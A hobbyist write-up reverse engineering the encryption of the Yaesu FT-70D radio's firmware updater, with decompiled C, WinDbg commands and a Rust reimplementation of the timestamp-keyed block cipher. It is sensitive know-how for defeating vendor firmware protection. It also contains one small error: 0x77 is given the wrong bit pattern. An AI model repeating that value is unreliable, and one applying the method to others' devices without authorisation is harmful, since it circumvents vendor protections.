Reverse Engineering Yaesu FT-70D Firmware Encryption

Reverse Engineering Yaesu FT-70D Firmware Encryption

Original text by landaire

This article dives into my full methodology for reverse engineering the tool mentioned in this article. It’s a bit longer but is intended to be accessible to folks who aren’t necessarily advanced reverse-engineers.

Background

Ham radios are a fun way of learning how the radio spectrum works, and more importantly: they’re embedded devices that may run weird chips/firmware! I got curious how easy it’d be to hack my Yaesu FT-70D, so I started doing some research. The only existing resource I could find for Yaesu radios was someone who posted about custom firmware for their Yaesu FT1DR.

The Reddit poster mentioned that if you go through the firmware update process via USB, the radio exposes its Renesas H8SX microcontroller and can have its flash modified using the Renesas SDK. This was a great start and looked promising, but the SDK wasn’t trivial to configure and I wasn’t sure if it could even dump the firmware… so I didn’t use it for very long.

Other Avenues

Yaesu provides a Windows application on their website that can be used to update a radio’s firmware over USB:

The zip contains the following files:

1.2 MB  Wed Nov  8 14:34:38 2017  FT-70D_ver111(USA).exe
682 KB  Tue Nov 14 00:00:00 2017  FT-70DR_DE_Firmware_Update_Information_ENG_1711-B.pdf
8 MB  Mon Apr 23 00:00:00 2018  FT-70DR_DE_MAIN_Firmware_Ver_Up_Manual_ENG_1804-B.pdf
3.2 MB  Fri Jan  6 17:54:44 2012  HMSEUSBDRIVER.exe
160 KB  Sat Sep 17 15:14:16 2011  RComms.dll
61 KB  Tue Oct 23 17:02:08 2012  RFP_USB_VB.dll
1.7 MB  Fri Mar 29 11:54:02 2013  vcredist_x86.exe

I’m going to assume that the file specific to the FT-70D, «FT-70D_ver111(USA).exe», will likely contain our firmware image. A PE file (.exe) can contain binary resources in the 

.rsrc
 section — let’s see what this file contains using XPEViewer:

Resources fit into one of many different resource types, but a firmware image would likely be put into a custom type. What’s this last entry, «23»? Expanding that node we have a couple of interesting items:

RES_START_DIALOG
 is a custom string the updater shows when preparing an update, so we’re in the right area!

RES_UPDATE_INFO
 looks like just binary data — perhaps this is our firmware image? Unfortunately looking at the «Strings» tab in XPEViewer or running the 
strings
 utility over this data doesn’t yield anything legible. The firmware image is likely encrypted.

Reverse Engineering the Binary

Let’s load the update utility into our disassembler of choice to figure out how the data is encrypted. I’ll be using IDA Pro, but Ghidra (free!), radare2 (free!), or Binary Ninja are all great alternatives. Where possible in this article I’ll try to show my rewritten code in C since it’ll be a closer match to the decompiler and machine code output.

A good starting point is the the string we saw above, 

RES_UPDATE_INFO
. Windows applications load resources by calling one of the 
FindResource*
 APIs
FindResourceA
 has the following parameters:

  1. HMODULE
    , a handle to the module to look for the resource in.
  2. lpName
    , the resource name.
  3. lpType
    , the resource type.

In our disassembler we can find references to the 

RES_UPDATE_INFO
 string and look for calls to 
FindResourceA
 with this string as an argument in the 
lpName
 position.

We find a match in a function which happens to find/load all of these custom resources under type 

23
.

We know where the data is loaded by the application, so now we need to see how it’s used. Doing static analysis from this point may be more work than it’s worth if the data isn’t operated on immediately. To speed things up I’m going to use a debugger’s assistance. I used WinDbg’s Time Travel Debugging to record an execution trace of the updater while it updates my radio. TTD is an invaluable tool and I’d highly recommend using it when possible. rr is an alternative for non-Windows platforms.

The decompiler output shows this function copies the 

RES_UPDATE_INFO
 resource to a dynamically allocated buffer. The 
qmemcpy()
 is inlined and represented by a 
rep movsd
 instruction in the disassembly, so we need to break at this instruction and examine the 
edi
 register’s (destination address) value. I set a breakpoint by typing 
bp 0x406968
 in the command window, allow the application to continue running, and when it breaks we can see the 
edi
 register value is 
0x2be5020
. We can now set a memory access breakpoint at this address using 
ba r4 0x2be5020
 to break whenever this data is read.

Our breakpoint is hit at 

0x4047DC
 — back to the disassembler. In IDA you can press 
G
 and enter this address to jump to it. We’re finally at what looks like the data processing function:

We broke when dereferencing 

v2
 and IDA has automatically named the variable it’s being assigned to as 
Time
. The 
Time
 variable is passed to another function which formats it as a string with 
%Y%m%d%H%M%S
. Let’s clean up the variables to reflect what we know:

bool __thiscall sub_4047B0(char *this)
{
  char *encrypted_data; // esi
  BOOL v3; // ebx
  char *v4; // eax
  char *time_string; // [esp+Ch] [ebp-320h] BYREF
  int v7; // [esp+10h] [ebp-31Ch] BYREF
  __time64_t Time; // [esp+14h] [ebp-318h] BYREF
  int (__thiscall **v9)(void *, char); // [esp+1Ch] [ebp-310h]
  int v10; // [esp+328h] [ebp-4h]

  // rename v2 to encrypted_data
  encrypted_data = *(char **)(*((_DWORD *)AfxGetModuleState() + 1) + 160);
  Time = *(int *)encrypted_data;
  // rename this function and its 2nd parameter
  format_timestamp(&Time, (int)&time_string, "%Y%m%d%H%M%S");
  v10 = 1;
  v7 = 0;
  v9 = off_4244A0;
  sub_4082C0(time_string);
  v3 = sub_408350(encrypted_data + 4, 0x100000, this + 92, 0x100000, &v7) == 0;
  v4 = time_string - 16;
  v9 = off_4244A0;
  v10 = -1;
  if ( _InterlockedDecrement((volatile signed __int32 *)time_string - 1) <= 0 )
    (*(void (__stdcall **)(char *))(**(_DWORD **)v4 + 4))(v4);
  return v3;
}

The timestamp string is passed to 

sub_4082c0
 on line 20 and the remainder of the update image is passed to 
sub_408350
 on line 21. I’m going to focus on 
sub_408350
 since I only care about the firmware data right now and based on how this function is called I’d wager its signature is something like:

status_t sub_408350(uint8_t *input, size_t input_len, uint8_t *output, output_len, size_t *out_data_processed);

Let’s see what it does:

int __stdcall sub_408350(char *a1, int a2, int a3, int a4, _DWORD *a5)
{
  int v5; // edx
  int v7; // ebp
  int v8; // esi
  unsigned int i; // ecx
  char v10; // al
  char *v11; // eax
  int v13; // [esp+10h] [ebp-54h]
  char v14[64]; // [esp+20h] [ebp-44h] BYREF

  v5 = a2;
  v7 = 0;
  memset(v14, 0, sizeof(v14));
  if ( a2 <= 0 )
  {
LABEL_13:
    *a5 = v7;
    return 0;
  }
  else
  {
    while ( 1 )
    {
      v8 = v5;
      if ( v5 >= 8 )
        v8 = 8;
      v13 = v5 - v8;
      for ( i = 0; i < 0x40; i += 8 )
      {
        v10 = *a1;
        v14[i] = (unsigned __int8)*a1 >> 7;
        v14[i + 1] = (v10 & 0x40) != 0;
        v14[i + 2] = (v10 & 0x20) != 0;
        v14[i + 3] = (v10 & 0x10) != 0;
        v14[i + 4] = (v10 & 8) != 0;
        v14[i + 5] = (v10 & 4) != 0;
        v14[i + 6] = (v10 & 2) != 0;
        v14[i + 7] = v10 & 1;
        ++a1;
      }
      sub_407980(v14, 0);
      if ( v8 )
        break;
LABEL_12:
      if ( v13 <= 0 )
        goto LABEL_13;
      v5 = v13;
    }
    v11 = &v14[1];
    while ( 1 )
    {
      --v8;
      if ( v7 >= a4 )
        return -101;
      *(_BYTE *)(a3 + v7++) = v11[6] | (2
                                      * (v11[5] | (2
                                                 * (v11[4] | (2
                                                            * (v11[3] | (2
                                                                       * (v11[2] | (2
                                                                                  * (v11[1] | (2
                                                                                             * (*v11 | (2 * *(v11 - 1))))))))))))));
      v11 += 8;
      if ( !v8 )
        goto LABEL_12;
    }
  }
}

I think we’ve found our function that starts decrypting the firmware! To confirm, we want to see what the 

output
 parameter’s data looks like before and after this function is called. I set a breakpoint in the debugger at the address where it’s called (
bp 0x404842
) and put the value of the 
edi
 register (
0x2d7507c
) in WinDbg’s memory window.

Here’s the data before:

After stepping over the function call:

We can dump this data to a file using the following command:

.writemem C:\users\lander\documents\maybe_deobfuscated.bin 0x2d7507c L100000

010 Editor has a built-in strings utility (Search > Find Strings…) and if we scroll down a bit in the results, we have real strings that appear in my radio!

At this point if we were just interested in getting the plaintext firmware we could stop messing with the binary and load the firmware into IDA Pro… but I want to know how this encryption works.

Encryption Details

Just to recap from the last section:

  • We’ve identified our data processing routine (let’s call this function 
    decrypt_update_info
    ).
  • We know that the first 4 bytes of the update data are a Unix timestamp that’s formatted as a string and used for an unknown purpose.
  • We know which function begins decrypting our firmware image.

Data Decryption

Let’s look at the firmware image decryption routine with some renamed variables:

int __thiscall decrypt_data(
        void *this,
        char *encrypted_data,
        int encrypted_data_len,
        char *output_data,
        int output_data_len,
        _DWORD *bytes_written)
{
  int data_len; // edx
  int output_index; // ebp
  int block_size; // esi
  unsigned int i; // ecx
  char encrypted_byte; // al
  char *idata; // eax
  int remaining_data; // [esp+10h] [ebp-54h]
  char inflated_data[64]; // [esp+20h] [ebp-44h] BYREF

  data_len = encrypted_data_len;
  output_index = 0;
  memset(inflated_data, 0, sizeof(inflated_data));
  if ( encrypted_data_len <= 0 )
  {
LABEL_13:
    *bytes_written = output_index;
    return 0;
  }
  else
  {
    while ( 1 )
    {
      block_size = data_len;
      if ( data_len >= 8 )
        block_size = 8;
      remaining_data = data_len - block_size;

      // inflate 1 byte of input data to 8 bytes of its bit representation
      for ( i = 0; i < 0x40; i += 8 )
      {
        encrypted_byte = *encrypted_data;
        inflated_data[i] = (unsigned __int8)*encrypted_data >> 7;
        inflated_data[i + 1] = (encrypted_byte & 0x40) != 0;
        inflated_data[i + 2] = (encrypted_byte & 0x20) != 0;
        inflated_data[i + 3] = (encrypted_byte & 0x10) != 0;
        inflated_data[i + 4] = (encrypted_byte & 8) != 0;
        inflated_data[i + 5] = (encrypted_byte & 4) != 0;
        inflated_data[i + 6] = (encrypted_byte & 2) != 0;
        inflated_data[i + 7] = encrypted_byte & 1;
        ++encrypted_data;
      }
      // do something with the inflated data
      sub_407980(this, inflated_data, 0);
      if ( block_size )
        break;
LABEL_12:
      if ( remaining_data <= 0 )
        goto LABEL_13;
      data_len = remaining_data;
    }
    // deflate the data back to bytes
    idata = &inflated_data[1];
    while ( 1 )
    {
      --block_size;
      if ( output_index >= output_data_len )
        return -101;
      output_data[output_index++] = idata[6] | (2
                                              * (idata[5] | (2
                                                           * (idata[4] | (2
                                                                        * (idata[3] | (2
                                                                                     * (idata[2] | (2
                                                                                                  * (idata[1] | (2 * (*idata | (2 * *(idata - 1))))))))))))));
      idata += 8;
      if ( !block_size )
        goto LABEL_12;
    }
  }
}

At a high level this routine:

  1. Allocates a 64-byte scratch buffer
  2. Checks if there’s any data to process. If not, set the output variable 
    out_data_processed
     to the number of bytes processed and return 0x0 (
    STATUS_SUCCESS
    )
  3. Loop over the input data in 8-byte chunks and inflate each byte to its bit representation.
  4. After the 8-byte chunk is inflated, call 
    sub_407980
     with the scratch buffer and 
    0
     as arguments.
  5. Loop over the scratch buffer and reassemble 8 sequential bits as 1 byte, then set the byte at the appropriate index in the output buffer.

Lots going on here, but let’s take a look at step #3. If we take the bytes 

0xAA
 and 
0x77
 which have bit representations of 
0b1010_1010
 and 
0b0111_1111
 respectively and inflate them to a 16-byte array using the algorithm above, we end up with:

| 0 | 1 | 2 | 3 | 4 | 5 | 6 | 7 |    | 8 | 9 | A | B | C | D | E | F |
|---|---|---|---|---|---|---|---|----|---|---|---|---|---|---|---|---|
| 1 | 0 | 1 | 0 | 1 | 0 | 1 | 0 |    | 0 | 1 | 1 | 1 | 0 | 1 | 1 | 1 |

This routine does this process over 8 bytes at a time and completely fills the 64-byte scratch buffer with 1s and 0s just like the table above.

Now let’s look at step #4 and see what’s going on in 

sub_407980
:

_BYTE *__thiscall sub_407980(void *this, _BYTE *a2, int a3)
{
  // long list of stack vars removed for clarity

  v3 = (int)this;
  v4 = 15;
  v5 = a3;
  v32[0] = (int)this;
  v28 = 0;
  v31 = 15;
  do
  {
    for ( i = 0; i < 48; *((_BYTE *)&v33 + i + 3) = v18 )
    {
      v7 = v28;
      if ( !v5 )
        v7 = v4;
      v8 = *(_BYTE *)(i + 48 * v7 + v3 + 4) ^ a2[(unsigned __int8)byte_424E50[i] + 31];
      v9 = v28;
      *(&v34 + i) = v8;
      if ( !v5 )
        v9 = v4;
      v10 = *(_BYTE *)(i + 48 * v9 + v3 + 5) ^ a2[(unsigned __int8)byte_424E51[i] + 31];
      v11 = v28;
      *(&v35 + i) = v10;
      if ( !v5 )
        v11 = v4;
      v12 = *(_BYTE *)(i + 48 * v11 + v3 + 6) ^ a2[(unsigned __int8)byte_424E52[i] + 31];
      v13 = v28;
      *(&v36 + i) = v12;
      if ( !v5 )
        v13 = v4;
      v14 = *(_BYTE *)(i + 48 * v13 + v3 + 7) ^ a2[(unsigned __int8)byte_424E53[i] + 31];
      v15 = v28;
      v38[i - 1] = v14;
      if ( !v5 )
        v15 = v4;
      v16 = *(_BYTE *)(i + 48 * v15 + v3 + 8) ^ a2[(unsigned __int8)byte_424E54[i] + 31];
      v17 = v28;
      v38[i] = v16;
      if ( !v5 )
        v17 = v4;
      v18 = *(_BYTE *)(i + 48 * v17 + v3 + 9) ^ a2[(unsigned __int8)byte_424E55[i] + 31];
      i += 6;
    }
    v32[1] = *(int *)((char *)&dword_424E80
                    + (((unsigned __int8)v38[0] + 2) | (32 * v34 + 2) | (16 * (unsigned __int8)v38[1] + 2) | (8 * v35 + 2) | (4 * v36 + 2) | (2 * v37 + 2)));
    v32[2] = *(int *)((char *)&dword_424F80
                    + (((unsigned __int8)v38[6] + 2) | (32 * (unsigned __int8)v38[2] + 2) | (16
                                                                                           * (unsigned __int8)v38[7]
                                                                                           + 2) | (8
                                                                                                 * (unsigned __int8)v38[3]
                                                                                                 + 2) | (4 * (unsigned __int8)v38[4] + 2) | (2 * (unsigned __int8)v38[5] + 2)));
    v32[3] = *(int *)((char *)&dword_425080
                    + (((unsigned __int8)v38[12] + 2) | (32 * (unsigned __int8)v38[8] + 2) | (16
                                                                                            * (unsigned __int8)v38[13]
                                                                                            + 2) | (8 * (unsigned __int8)v38[9]
                                                                                                  + 2) | (4 * (unsigned __int8)v38[10] + 2) | (2 * (unsigned __int8)v38[11] + 2)));
    v32[4] = *(int *)((char *)&dword_425180
                    + (((unsigned __int8)v38[18] + 2) | (32 * (unsigned __int8)v38[14] + 2) | (16
                                                                                             * (unsigned __int8)v38[19]
                                                                                             + 2) | (8 * (unsigned __int8)v38[15] + 2) | (4 * (unsigned __int8)v38[16] + 2) | (2 * (unsigned __int8)v38[17] + 2)));
    v32[5] = *(int *)((char *)&dword_425280
                    + (((unsigned __int8)v38[24] + 2) | (32 * (unsigned __int8)v38[20] + 2) | (16
                                                                                             * (unsigned __int8)v38[25]
                                                                                             + 2) | (8 * (unsigned __int8)v38[21] + 2) | (4 * (unsigned __int8)v38[22] + 2) | (2 * (unsigned __int8)v38[23] + 2)));
    v32[6] = *(int *)((char *)&dword_425380
                    + (((unsigned __int8)v38[30] + 2) | (32 * (unsigned __int8)v38[26] + 2) | (16
                                                                                             * (unsigned __int8)v38[31]
                                                                                             + 2) | (8 * (unsigned __int8)v38[27] + 2) | (4 * (unsigned __int8)v38[28] + 2) | (2 * (unsigned __int8)v38[29] + 2)));
    v32[7] = *(int *)((char *)&dword_425480
                    + (((unsigned __int8)v38[36] + 2) | (32 * (unsigned __int8)v38[32] + 2) | (16
                                                                                             * (unsigned __int8)v38[37]
                                                                                             + 2) | (8 * (unsigned __int8)v38[33] + 2) | (4 * (unsigned __int8)v38[34] + 2) | (2 * (unsigned __int8)v38[35] + 2)));
    v19 = (char *)(&unk_425681 - (_UNKNOWN *)a2);
    v20 = &unk_425680 - (_UNKNOWN *)a2;
    v33 = *(int *)((char *)&dword_425580
                 + (((unsigned __int8)v38[42] + 2) | (32 * (unsigned __int8)v38[38] + 2) | (16
                                                                                          * (unsigned __int8)v38[43]
                                                                                          + 2) | (8
                                                                                                * (unsigned __int8)v38[39]
                                                                                                + 2) | (4 * (unsigned __int8)v38[40] + 2) | (2 * (unsigned __int8)v38[41] + 2)));
    result = a2;
    if ( v4 <= 0 )
    {
      v30 = 8;
      do
      {
        *result ^= *((_BYTE *)v32 + (unsigned __int8)result[v20] + 3);
        result[1] ^= *((_BYTE *)v32 + (unsigned __int8)v19[(_DWORD)result] + 3);
        result[2] ^= *((_BYTE *)v32 + (unsigned __int8)result[&unk_425682 - (_UNKNOWN *)a2] + 3);
        result[3] ^= *((_BYTE *)v32 + (unsigned __int8)result[byte_425683 - a2] + 3);
        result += 4;
        --v30;
      }
      while ( v30 );
    }
    else
    {
      v29 = 8;
      do
      {
        v24 = result[32];
        v22 = *result ^ *((_BYTE *)v32 + (unsigned __int8)result[v20] + 3);
        result += 4;
        result[28] = v22;
        *(result - 4) = v24;
        v25 = result[29];
        result[29] = *(result - 3) ^ *((_BYTE *)v32 + (unsigned __int8)result[(_DWORD)v19 - 4] + 3);
        *(result - 3) = v25;
        v26 = result[30];
        result[30] = *(result - 2) ^ *((_BYTE *)v32 + (unsigned __int8)result[&unk_425682 - (_UNKNOWN *)a2 - 4] + 3);
        *(result - 2) = v26;
        v27 = result[31];
        result[31] = *(result - 1) ^ *((_BYTE *)v32 + (unsigned __int8)result[byte_425683 - a2 - 4] + 3);
        *(result - 1) = v27;
        --v29;
      }
      while ( v29 );
    }
    v5 = a3;
    v3 = v32[0];
    v4 = v31 - 1;
    v23 = v31 - 1 <= -1;
    ++v28;
    --v31;
  }
  while ( !v23 );
  return result;
}

Oof. This is substantially more complicated but looks like the meat of the decryption algorithm. We’ll refer to this function, 

sub_407980
, as 
decrypt_data
 from here on out. We can see what may be an immediate roadblock: this function takes in a C++ 
this
 pointer (line 5) and performs bitwise operations on one of its members (line 18, 23, etc.). For now let’s call this class member 
key
 and come back to it later.

This function is the perfect example of decompilers emitting less than ideal code as a result of compiler optimizations/code reordering. For me, TTD was essential for following how data flows through this function. It took a few hours of banging my head against IDA and WinDbg to understand, but this function can be broken up into 3 high-level phases:

  1. Building a 48-byte buffer containing our key material XOR’d with data from a static table.
int v33;
  unsigned __int8 v34; // [esp+44h] [ebp-34h]
  unsigned __int8 v35; // [esp+45h] [ebp-33h]
  unsigned __int8 v36; // [esp+46h] [ebp-32h]
  unsigned __int8 v37; // [esp+47h] [ebp-31h]
  char v38[44]; // [esp+48h] [ebp-30h]

  v3 = (int)this;
  v4 = 15;
  v5 = a3;
  v32[0] = (int)this;
  v28 = 0;
  v31 = 15;
  do
  {
    // The end statement of this loop is strange -- it's writing a byte somewhere? come back
    // to this later
    for ( i = 0; i < 48; *((_BYTE *)&v33 + i + 3) = v18 )
    {
    // v28 Starts at 0 but is incremented by 1 during each iteration of the outer `while` loop
      v7 = v28;
      // v5 is our last argument which was 0
      if ( !v5 )
        // overwrite v7 with v4, which begins at 15 but is decremented by 1 during each iteration
        // of the outer `while` loop
        v7 = v4;
      // left-hand side of the xor, *(_BYTE *)(i + 48 * v7 + v3 + 4)
      //     v3 in this context is our `this` pointer + 4, giving us *(_BYTE *)(i + (48 * v7) + this->maybe_key)
      //     so the left-hand side of the xor is likely indexing into our key material:
      //     this->maybe_key[i + 48 * loop_multiplier]
      //
      // right-hand side of the xor, a2[(unsigned __int8)byte_424E50[i] + 31]
      //     a2 is our input encrypted data, and byte_424E50 is some static data
      //
      // this full statement can be rewritten as:
      //     v8 = this->maybe_key[i + 48 * loop_multiplier] ^ encrypted_data[byte_424E50[i] + 31]
      v8 = *(_BYTE *)(i + 48 * v7 + v3 + 4) ^ a2[(unsigned __int8)byte_424E50[i] + 31];

      v9 = v28;

      // write the result of `key_data ^ input_data` to a scratch buffer (v34)
      // v34 looks to be declared as the wrong type. v33 is actually a 52-byte buffer
      *(&v34 + i) = v8;

      // repeat the above 5 more times
      if ( !v5 )
        v9 = v4;
      v10 = *(_BYTE *)(i + 48 * v9 + v3 + 5) ^ a2[(unsigned __int8)byte_424E51[i] + 31];
      v11 = v28;
      *(&v35 + i) = v10;

      // snip

      // v18 gets written to the scratch buffer at the end of the loop...
      v18 = *(_BYTE *)(i + 48 * v17 + v3 + 9) ^ a2[(unsigned __int8)byte_424E55[i] + 31];

      // this was probably the *real* last statement of the for-loop
      // i.e. for (int i = 0; i < 48; i += 6)
      i += 6;
    }

Build a 32-byte buffer containing data from an 0x800-byte static table, with indexes into this table originating from indices built from the buffer in step #1. Combine this 32-byte buffer with the 48-byte buffer in step #1.

// dword_424E80 -- some static data
    // (unsigned __int8)v38[0] + 2) -- the original decompiler output has this wrong.
    //     v33 should be a 52-byte buffer which consumes v38, so v38 is actually data set up in
    //     the loop above.
    // (32 * v34 + 2) -- v34 should be some data from the above loop as well. This looks like
    //     a binary shift optimization
    // repeat with different multipliers...
    //
    // This can be simplified as:
    //     size_t index  = ((v34 << 5) + 2)
    //                     | ((v37[1] << 4) + 2)
    //                     | ((v35 << 3) + 2)
    //                     | ((v36 << 2) + 2)
    //                     | ((v37 << 1) + 2)
    //                     | v38[0]
    //     v32[1] = *(int*)(((char*)&dword_424e80)[index])
    v32[1] = *(int *)((char *)&dword_424E80
                    + (((unsigned __int8)v38[0] + 2) | (32 * v34 + 2) | (16 * (unsigned __int8)v38[1] + 2) | (8 * v35 + 2) | (4 * v36 + 2) | (2 * v37 + 2)));
    // repeat 7 times. each time the reference to dword_424e80 is shifted forward by 0x100.
    // note: if you do the math, the next line uses dword_424e80[64]. We shift by 0x100 instead of
    // 64 because is misleading because dword_424e80 is declared as an int array -- not a char array.

Iterate over the next 8 bytes of the output buffer. For each byte index of the output buffer, index into yet another static 32-byte buffer and use that as the index into the table from step #2. XOR this value with the value at the current index of the output buffer.

// Not really sure why this calculation works like this. It ends up just being `unk_425681`'s address
// when it's used.
    v19 = (char *)(&unk_425681 - (_UNKNOWN *)a2);
    v20 = &unk_425680 - (_UNKNOWN *)a2;

// v4 is a number that's decremented on every iteration -- possibly bytes remaining?
    if ( v4 <= 0 )
    {
        // Loop over 8 bytes
      v30 = 8;
      do
      {
        // Start XORing the output bytes with some of the data generated in step 2.
        //
        // Cheating here and doing the "draw the rest of the owl", but if you observe that
        // we use `unk_425680` (v20), `unk_425681` (v19), `unk_425682`, and byte_425683, the
        // the decompiler generated suboptimal code. We can simplify to be relative to just
        // `unk_425680`
        //
        // *result ^= step2_bytes[unk_425680[output_index] - 1]
        *result ^= *((_BYTE *)v32 + (unsigned __int8)result[v20] + 3);

        // result[1] ^= step2_bytes[unk_425680[output_index] + 1]
        result[1] ^= *((_BYTE *)v32 + (unsigned __int8)v19[(_DWORD)result] + 3);

        // result[2] ^= step2_bytes[unk_425680[output_index] + 2]
        result[2] ^= *((_BYTE *)v32 + (unsigned __int8)result[&unk_425682 - (_UNKNOWN *)a2] + 3);

        // result[3] ^= step2_bytes[unk_425680[output_index] + 3]
        result[3] ^= *((_BYTE *)v32 + (unsigned __int8)result[byte_425683 - a2] + 3);
        // Move our our pointer to the output buffer forward by 4 bytes
        result += 4;
        --v30;
      }
      while ( v30 );
    }
    else
    {
        // loop over 8 bytes
      v29 = 8;
      do
      {
        // grab the byte at 0x20, we're swapping this later
        v24 = result[32];

        // v22 = *result ^ step2_bytes[unk_425680[output_index] - 1]
        v22 = *result ^ *((_BYTE *)v32 + (unsigned __int8)result[v20] + 3);

        // I'm not sure why the output buffer pointer is incremented here, but
        // this really makes the code ugly
        result += 4;

        // Write the byte generated above to offset 0x1c
        result[28] = v22;
        // Write the byte at 0x20 to offset 0
        *(result - 4) = v24;

        // rinse, repeat with slightly different offsets each time...
        v25 = result[29];
        result[29] = *(result - 3) ^ *((_BYTE *)v32 + (unsigned __int8)result[(_DWORD)v19 - 4] + 3);
        *(result - 3) = v25;
        v26 = result[30];
        result[30] = *(result - 2) ^ *((_BYTE *)v32 + (unsigned __int8)result[&unk_425682 - (_UNKNOWN *)a2 - 4] + 3);
        *(result - 2) = v26;
        v27 = result[31];
        result[31] = *(result - 1) ^ *((_BYTE *)v32 + (unsigned __int8)result[byte_425683 - a2 - 4] + 3);
        *(result - 1) = v27;
        --v29;
      }
      while ( v29 );
    }

The inner loop in the 

else
 branch above I think is kind of nasty, so here it is reimplemented in Rust:

for _ in 0..8 {
    // we swap the `first` index with the `second`
    for (first, second) in (0x1c..=0x1f).zip(0..4) {
        let original_byte_idx = first + output_offset + 4;

        let original_byte = outbuf[original_byte_idx];

        let constant = unk_425680[output_offset + second] as usize;

        let new_byte = outbuf[output_offset + second] ^ generated_bytes_from_step2[constant - 1];

        let new_idx = original_byte_idx;
        outbuf[new_idx] = new_byte;
        outbuf[output_offset + second] = original_byte;
    }

    output_offset += 4;
}

Key Setup

We now need to figure out how our key is set up for usage in the 

decrypt_data
 function above. My approach here is to set a breakpoint at the first instruction to use the key data in 
decrypt_data
, which happens to be 
xor bl, [ecx + esi + 4]
 at 
0x4079d3
. I know this is where we should break because in the decompiler output the left-hand side of the XOR operation, the key material, will be the second operand in the 
xor
 instruction. As a reminder, the decompiler shows the XOR as:

v8 = *(_BYTE *)(i + 48 * v7 + v3 + 4) ^ a2[(unsigned __int8)byte_424E50[i] + 31];

The breakpoint is hit and the address we’re loading from is 

0x19f5c4
. We can now lean on TTD to help us figure out where this data was last written. Set a 1-byte memory write breakpoint at this address using 
ba w1 0x19f5c4
 and press the 
Go Back
 button. If you’ve never used TTD before, this operates exactly as 
Go
 would except backwards in the program’s trace. In this case it will execute backward until either a breakpoint is hit, interrupt is generated, or we reach the start of the program.

Our memory write breakpoint gets triggered at 

0x4078fb
 — a function we haven’t seen before. The callstack shows that it’s called not terribly far from the 
decrypt_update_info
 routine!

  • set_key
     (we are here — function is originally called 
    sub_407850
    )
  • sub_4082c0
  • decrypt_update_info

What’s 

sub_4082c0
?

Not a lot to see here except the same function called 4 times, initially with the timestamp string as an argument in position 0, a 64-byte buffer, and bunch of function calls using the return value of the last as its input. The function our debugger just broke into takes only 1 argument, which is the 64-byte buffer used across all of these function calls. So what’s going on in 

sub_407e80
?

The bitwise operations that look supsiciously similar to the byte to bit inflation we saw above with the firmware data. After renaming things and performing some loop unrolling, things look like this:

// sub_407850
int inflate_timestamp(void *this, char *timestamp_str, char *output, uint8_t *key) {
    for (size_t output_idx = 0; output_idx < 8; output_idx++) {
        uint8_t ts_byte = *timestamp_str;
        if (ts_byte) {
            timestamp_str += 1;
        }

        for (int bit_idx = 0; bit_idx < 8; bit_idx++) {
            uint8_t bit_value = (ts_byte >> (7 - bit_idx)) & 1;
            output[(output_idx * 8) + bit_idx] ^= bit_value;
        }
    }

    set_key(this, key);
    decrypt_data(this, output, 1);

    return timestamp_str;
}

// sub_4082c0
int set_key_to_timestamp(void *this, char *timestamp_str) {
    uint8_t key_buf[64];
    memset(&key_buf, 0, sizeof(key_buf));

    char *str_ptr = inflate_timestamp(this, timestamp_str, &key_buf, &static_key_1);
    str_ptr = inflate_timestamp(this, str_ptr, &key_buf, &static_key_2);
    str_ptr = inflate_timestamp(this, str_ptr, &key_buf, &static_key_3);
    inflate_timestamp(this, str_ptr, &key_buf, &static_key_4);

    set_key(this, &key_buf);
}

The only mystery now is the 

set_key
 routine:

int __thiscall set_key(char *this, const void *a2)
{
  _DWORD *v2; // ebp
  char *v3; // edx
  char v4; // al
  char v5; // al
  char v6; // al
  char v7; // al
  int result; // eax
  char v10[56]; // [esp+Ch] [ebp-3Ch] BYREF

  qmemcpy(v10, a2, sizeof(v10));
  v2 = &unk_424DE0;
  v3 = this + 5;
  do
  {
    v4 = v10[0];
    qmemcpy(v10, &v10[1], 0x1Bu);
    v10[27] = v4;
    v5 = v10[28];
    qmemcpy(&v10[28], &v10[29], 0x1Bu);
    v10[55] = v5;
    if ( *v2 == 2 )
    {
      v6 = v10[0];
      qmemcpy(v10, &v10[1], 0x1Bu);
      v10[27] = v6;
      v7 = v10[28];
      qmemcpy(&v10[28], &v10[29], 0x1Bu);
      v10[55] = v7;
    }
    for ( result = 0; result < 48; result += 6 )
    {
      v3[result - 1] = v10[(unsigned __int8)byte_424E20[result] - 1];
      v3[result] = v10[(unsigned __int8)byte_424E21[result] - 1];
      v3[result + 1] = v10[(unsigned __int8)byte_424E22[result] - 1];
      v3[result + 2] = v10[(unsigned __int8)byte_424E23[result] - 1];
      v3[result + 3] = v10[(unsigned __int8)byte_424E24[result] - 1];
      v3[result + 4] = v10[(unsigned __int8)byte_424E25[result] - 1];
    }
    ++v2;
    v3 += 48;
  }
  while ( (int)v2 < (int)byte_424E20 );
  return result;
}

This function is a bit more straightforward to reimplement:

void set_key(void *this, uint8_t *key) {
    uint8_t scrambled_key[56];
    memcpy(&scrambled_key, key, sizeof(scrambled_key));

    for (size_t i = 0; i < 16; i++) {
        size_t swap_rounds = 1;
        if (((uint32_t*)GLOBAL_KEY_ROUNDS_CONFIG)[i] == 2) {
            swap_rounds = 2;
        }

        for (int i = 0; i < swap_rounds; i++) {
            uint8_t temp = scrambled_key[0];
            memcpy(&scrambled_key, &scrambled_key[1], 27);
            scrambled_key[27] = temp;

            temp = scrambled_key[28];
            memcpy(&scrambled_key[28], &scrambled_key[29], 27);
            scrambled_key[55] = temp;
        }

        for (size_t swap_idx = 0; swap_idx < 48; swap_idx++) {
            size_t scrambled_key_idx = GLOBAL_KEY_SWAP_TABLE[swap_idx] - 1;

            size_t persistent_key_idx = swap_idx + (i * 48);
            this->key[persistent_key_idx] = scrambled_key[scrambled_key_idx];
        }
    }
}

Putting Everything Together

  1. Update data is read from resources
  2. The first 4 bytes of the update data are a Unix timestamp
  3. The timestamp is formatted as a string, has each byte inflated to its bit representation, and decrypted using some static key material as the key. This is repeated 4 times with the output of the previous run used as an input to the next.
  4. The resulting data from step 3 is used as a key for decrypting data.
  5. The remainder of the firmware update image is inflated to its bit representation 8 bytes at a time and uses the dynamic key and 3 other unique static lookup tables to transform the inflated input data.
  6. The result from step 5 is deflated back into its byte representation.

My decryption utility which completely reimplements this magic in Rust can be found at https://github.com/landaire/porkchop.

Loading the Firmware in IDA Pro

IDA thankfully supports disassembling the Hitachi/Rensas H8SX architecture. If we load our firmware into IDA and select the «Hitachi H8SX advanced» processsor type, use the default options for the «Disassembly memory organization» dialog, then finally choose «H8S/2215R» in the «Choose the device name» dialog…:

We don’t have shit. I’m not an embedded systems expert, but my friend suggested that the first few DWORDs look like they may belong to a vector table. If we right-click address 0 and select «Double word 0x142A», we can click on the new variable 

unk_142A
 to go to its location. Press 
C
 at this location to define it as Code, then press 
P
 to create a function at this address:

